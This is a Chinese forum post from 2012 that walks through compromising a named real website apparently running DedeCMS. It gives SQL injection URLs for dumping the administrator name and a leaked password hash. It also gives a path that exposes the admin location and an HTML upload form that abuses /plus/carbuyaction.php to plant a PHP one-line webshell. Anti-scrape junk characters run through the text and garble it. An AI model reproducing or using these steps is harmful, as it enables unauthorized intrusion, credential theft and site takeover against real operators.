①注入漏洞。
+ T& g/ l3 g) B- E; @这站 http://www.political-security.com/3 Z$ Q2 W* w/ Y6 I
首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
* i4 L6 E; y3 r% U0 C; p9 I4 G# `www.political-security.com/data/mysql_error_trace.inc 爆后台2 i5 R6 c- P9 A
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。
1 \/ c4 X5 R2 |+ K' D然后写上语句 3 d: B' G3 R/ D. [7 r y" N5 P
查看管理员帐号
* o2 w/ }- I4 `& Lhttp://www.political-security.co ... &membergroup=@`
9 P& k% y% p( e; z- r5 U
( t) |9 F6 K9 H8 S) H5 @6 e2 yadmin
/ D- ]' D# P& r/ N
' z C7 ]) L$ s: _/ }查看管理员密码
1 ^: d1 i$ V, H# o! w, @ http://www.political-security.co ... &membergroup=@`9 A5 n& j$ q$ K1 ~: f
& X% G3 e/ f% z5 L8d29b1ef9f8c5a5af429$ Z# |$ k8 a, y* ~* l
. G( Q4 Y3 N& n& t$ e9 |1 B
查看管理员密码* Y9 M4 L2 H. B/ k( M
0 W% h$ Z u8 D" V# g
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD5
; J0 h$ a/ ~, ?) f7 B: j4 K/ F$ D1 L, J
* j& Y8 h2 Q/ a# ^8d23 U8 `& o7 ~5 y/ t: }% Q: G
9b1ef9f8c5a5af42- `5 s& ^6 n- Y! I
9$ U- f/ }0 J7 b: \8 z b5 n0 d
. }$ W. O, J4 A9 Z% H7 d ~cmd5没解出来 只好测试第二个方法* }9 r2 I2 ?5 n
8 q6 I( m9 h' P2 F: J! G7 K! t3 A
- E4 l2 ~2 @( t②上传漏洞：
: h- ]" I7 n9 a- E" a6 z+ U7 m7 j# O+ a4 \! p
只要登陆会员中心，然后访问页面链接
+ a. M* H: `& I6 V. H/ T( S“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”
. }+ Z- ]: q6 ?: G2 C0 B; n, @2 k: J
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post”
, B$ I: O, m2 M3 u& f! D% x$ F J- h+ `+ Y! Z O4 m
于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm- Z( v* ^! Z8 M" Q+ S
4 k. ?% [& [% N/ a. t: @4 I6 Q<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
- g/ M6 F9 I! |5 |或者( d y5 z6 m; [) v% `4 P
即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对